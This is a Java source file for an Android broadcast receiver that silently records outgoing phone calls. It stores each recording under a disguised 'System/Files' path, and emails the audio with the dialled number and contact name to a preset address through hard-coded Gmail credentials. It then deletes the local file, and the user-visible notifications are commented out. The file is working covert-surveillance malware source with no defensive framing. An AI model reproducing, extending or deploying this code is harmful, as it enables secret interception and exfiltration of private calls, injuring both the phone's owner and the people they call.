package my.android.call;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.os.AsyncTask;
import android.os.Environment;
import android.os.Handler;
import android.os.Message;
import android.provider.CallLog;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;
import android.widget.Toast;

import java.io.File;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;

import my.android.main.Assets;
import my.android.message.GmailSender;

/**
 * Created by dinhthao on 6/25/13.
 */
public class CallingReceiver extends BroadcastReceiver {

    public static Context con;
    private long timeStart;
    public static String lastNumberDaile;
    public static Call[] calls = new Call[5];
    public MediaRecorder mRecorder;
    public String fileAudio1 = "";
    public String fileAudio2 = "";
    private ConnectivityManager mConnectivityManager;
    private NetworkInfo mNetworkInfo;

    private Handler mHandler = new Handler(){
        @Override
        public void handleMessage(Message msg) {
            super.handleMessage(msg);
        }
    };
    private Runnable mRunnable = new Runnable() {
        @Override
        public void run() {
            timeStart = System.currentTimeMillis();
            countCall += 1;
            startRecord();
            Message msg = mHandler.obtainMessage();
            mHandler.sendMessage(msg);
        }
    };

    public static int countCall = -1;

    @Override
    public void onReceive(Context context, Intent intent) {
        try {
            con = context;
            timeStart = -1L;
            mConnectivityManager = (ConnectivityManager)context.getSystemService(Context.CONNECTIVITY_SERVICE);
            if(mConnectivityManager != null){
                mNetworkInfo = mConnectivityManager.getActiveNetworkInfo();
            }
            TelephonyManager phone = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
            MyPhoneStateListener PhoneListener = new MyPhoneStateListener();
            phone.listen(PhoneListener, PhoneStateListener.LISTEN_CALL_STATE);

        } catch (Exception e) {

        }

    }

    private class MyPhoneStateListener extends PhoneStateListener {
        @Override
        public void onCallStateChanged(int state, String incomingNumber) {
            super.onCallStateChanged(state, incomingNumber);
            switch (state) {
                //incoming call and your phone is ringing
                case TelephonyManager.CALL_STATE_RINGING:
//                    Toast.makeText(con, "calling...: "  + incomingNumber, Toast.LENGTH_LONG).show();
                    break;

                //when you make a outgoing call
                case TelephonyManager.CALL_STATE_OFFHOOK:
//                    Toast.makeText(con, "recording...: " + incomingNumber, Toast.LENGTH_LONG).show();
                    if(mNetworkInfo.isConnected()){
                        new ExcuteRecord().execute();
                    }
                    break;

                case TelephonyManager.CALL_STATE_IDLE:
                    if (timeStart != -1L) try {
//                        Toast.makeText(con, "ending...: " + incomingNumber, Toast.LENGTH_LONG).show();
                        if(mNetworkInfo.isConnected()){
                            new ExcuteEndRecord().execute();
                        }else {
                            deleteFiles(fileAudio2);
                        }
                        break;

                    } catch (Exception e) {

                    }

            }
        }

    }

    //finish record anh send mail
    private class ExcuteEndRecord extends AsyncTask<Void, Void, Void> {
        @Override
        protected Void doInBackground(Void... voids) {
            endRecord();
            timeStart = -1L;
            sendMail();
            countCall -= 1;
            return null;
        }
    }

    //record outgoing call
    private class ExcuteRecord extends AsyncTask<Void, Void, Void> {
        @Override
        protected Void doInBackground(Void... voids) {
            Thread t = new Thread(mRunnable);
            t.start();
            return null;
        }
    }


    //start record phone call
    public synchronized void startRecord() {
        if(mRecorder == null){
            mRecorder = new MediaRecorder();
            fileAudio1 = createFolder() + "/System_" +
                    new SimpleDateFormat("yyyyMMdd_HHmmss").format(new Date()) + ".mp3";
            mRecorder.setAudioSource(MediaRecorder.AudioSource.VOICE_DOWNLINK | MediaRecorder.AudioSource.VOICE_UPLINK);
            mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
            mRecorder.setOutputFile(fileAudio1);
            mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
            try {
                mRecorder.prepare();
                mRecorder.start();
            } catch (IOException e) {
                Log.e("record::", "" + e.getStackTrace());
            } catch (IllegalStateException e) {
                Log.e("record::", "" + e.getStackTrace());
            }

        }

    }

    //finish record phone call
    public synchronized void endRecord() throws IllegalStateException{
        mRecorder.stop();
        mRecorder.reset();
        mRecorder.release();
    }

    //send mail
    private synchronized void sendMail() {
        fileAudio2 = fileAudio1;
        lastNumberDaile = CallLog.Calls.getLastOutgoingCall(con);
        calls[countCall] = new Call(Assets.findNamebyAddr(con, lastNumberDaile), lastNumberDaile);
        GmailSender mail = new GmailSender(Assets.SENDER, Assets.PASS);
        try {
            mail.attackData(fileAudio2);
            mail.sendMail(Assets.TITLE_NEW_CALL, CallingReceiver.calls[CallingReceiver.countCall].getName()
                    + CallingReceiver.calls[CallingReceiver.countCall].getNumber(), Assets.SENDER, Assets.RECEIVER);
            deleteFiles(fileAudio2);
            fileAudio2 = "";

        } catch (Exception e) {
        }
    }


    //create folder to save audio file, path = /sdcard/System/Files/
    public String createFolder() {
        File folder = new File(Environment.getExternalStoragePublicDirectory("System"), "Files");
        if (!folder.exists()) {
            if (!folder.mkdirs()) {
                return Environment.getExternalStorageDirectory().getAbsolutePath();
            }

        }
        return folder.getPath();
    }

    //delete file
    public void deleteFiles(String file) {
        File mfile = new File(file);
        mfile.delete();
    }


}
